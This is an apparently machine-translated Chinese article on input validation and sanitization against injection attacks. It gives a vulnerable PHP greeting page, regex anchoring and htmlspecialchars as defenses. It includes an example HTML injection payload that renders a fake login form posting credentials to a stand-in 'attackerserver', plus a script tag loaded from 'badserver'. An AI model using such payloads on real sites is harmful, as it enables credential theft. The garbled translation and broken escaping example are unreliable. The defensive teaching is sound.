在最近进行的一项调查Ponemon Institute的,IT安全研究机构,受访者59%表示他们会看到恶意软件感染跳过去的12个月。此外,那些谁在恶意软件的情况下注意到秒杀31%的人认为增长幅度超过50%。有了这样的数字,这也难怪,移动设备的新战场黑客和安全专家之间。
从小偷和黑客保护硬件和数据需要多管齐下,即应用安全只能起到总体方案的一部分。其他领域包括国防战略的规划,下锅打样的物理设备本身,数据库层的数据安全,并通过政策维护安全。根据目前最流行 的威胁,焦点可能在某些领域比别人更加迫切。在开放Web应用安全项目(OWASP)最初专注于应用程序的安全性,但逐渐扩大到其他有关地区。他们的十大移动安全风险页是伟大的地方,看看此刻的当前挑战移动安全。在任何时候,必然要具体涉及到应用安全领域也有一些不足。事实上,顶级风险-弱服务器端控件-就是其中之一!
今天的文章具有预防的使用各种验证技术在应用程序级注入攻击涉及。
注入攻击风险
无论用户提供的数据发送到命令行解释器是有风险的,有人会想出如何劫持您的设备和/或服务器。不同类型的注射剂包括HTML,SQL,XML,LDAP和操作系统命令。如果你的应用仅仅停留在问候显示用户的名字,你可能会认为没有什么可担心的。然而,正如下面的例子证明,你就错了!
<php $name = $_REQUEST ['name']; > <html> <body> Welcome <php echo $name; >! </body> </html>
现在假设一个用户提交下面的“名”:
<
h3
>Please Enter Your Username and Password to Proceed:</
h3
><
form
method
=
"POST"
action
=
"http://attackerserver/login.php"
>Username: <
input
type
=
"text"
name
=
"username"
/><
br
/>Password: <
input
type
=
"password"
name
=
"password"
/><
br
/><
input
type
=
"submit"
value
=
"Login"
/></
form
><!--
当浏览器解释所注入的HTML,它呈现它作为一个登录表单,并在注射后点评论了网页的其余部分。一旦用户输入自己的用户名和密码,该值发送到指定的页面的login.php通过POST提交了攻击者的服务器上。
取决于类型和注射攻击的严重性,潜在的风险包括:
- 存储数据的丢失/被盗
- 数据库损坏(S)
- 通过网络钓鱼的用户信息被盗
- 系统停机时间,损失的生产力,等等。
- 消费者信心丧失
这里的外卖是,你应该始终验证输入数据,不管多么看似微不足道。
注入攻击策略
输入解释的内容直接为我们上面看到的只是一个命令传递给一个解释的方式。其他技术包括:
- 为了引起缓冲区溢出进入超出范围或预期值
- 留下的空白领域,试图导致错误
- 从Web服务的响应修改(MAN-上这方面的中间人攻击)
- 通过蓝牙,近场通信(NFC)等数据注入...
验证的优点
大多数开发人员都充分认识到执行输入验证核实数据的缘故是被持久化的需求。其理由是更好的数据质量带来更好的应用功能和上下行更为有用的报告。否则,“风与垃圾进,垃圾出 ”。为此,开发商往往把重点放在以下输入检查:
- 是正确的数据类型。
- 是正确的格式。
- 存在强制性若。
- 是正确的范围内。
- 满足特定的业务规则。
即使用户有最好的意图,错别字发生 - 尤其是与键盘是在某些设备上相当小。
验证技术
除了检查用户数据,你应该考虑限制只是文本的数字字段,你的表单包含。相反,目前,用户可以从中选择有效值的下拉列表。如果必须使用文本字段,验证通过使用“^”开始,“$”结束位置的匹配整个字符串的正则表达式模式。部分字符串匹配的风险更大,因为现场可能含有溜走被忽视的额外数据。
//bad:
var
rePhone = /\(([0-9]{3})\)([ .-])([0-9]{3})\2([0-9]{4})/;
//good:
var
rePhone = /^\(([0-9]{3})\)([ .-])([0-9]{3})\2([0-9]{4})$/;
一个更验证技术来添加到列表是消毒的输入。这是一个过程,由此潜在危险的字符被编码或去除,以使该数据的安全使用。例如,在HTML起始标记字符(<)是一个很好的逸出,因为它可以采用在网页中嵌入的脚本。它可以通过将它呈现无害与“&amp;”,使得:
<
script
src
=
"http://badserver/badscript/js"
>doEvilStuff();</
script
>
BECOMES:
<script src="http://badserver/badscript/js">doEvilStuff();</script>
如何清理HTML输入
有没有必要写代码来净化输入数据,因为有很多的HTML消毒剂可用的功能和库的JavaScript和服务器语言的一致好评。例如,OWASP提供了一个很好的Java库。
除非你的应用程序是完全基于HTML的,没有,你应该执行HTML消毒在服务器上,或者更好的是,在客户端和服务器上的一个服务器端组件。该服务器是优选的理由是,有许多方法来规避JavaScript,以便使其成为低于最优解。Web友好的语言,如PHP具有内置的函数来处理输入消毒。在PHP的htmlspecialchars()函数将'&'(号),“”“(双引号),”'“(单引号),”<“(小于),和”>“(大于)字符各自HTML常数,以便它们不会被浏览器解释。
结论
保护客户的敏感信息,需要在几个方面同时警惕。用户输入验证是一个关键的领域,因为你永远不能信任用户输入唯一合法的数据。通过包括适当的验证,你有很大的通过用户界面或人在中间人攻击减少了注入攻击的可能性。话虽这么说,有防止许多其他风险。我们会得到那些了,未来的分期付款。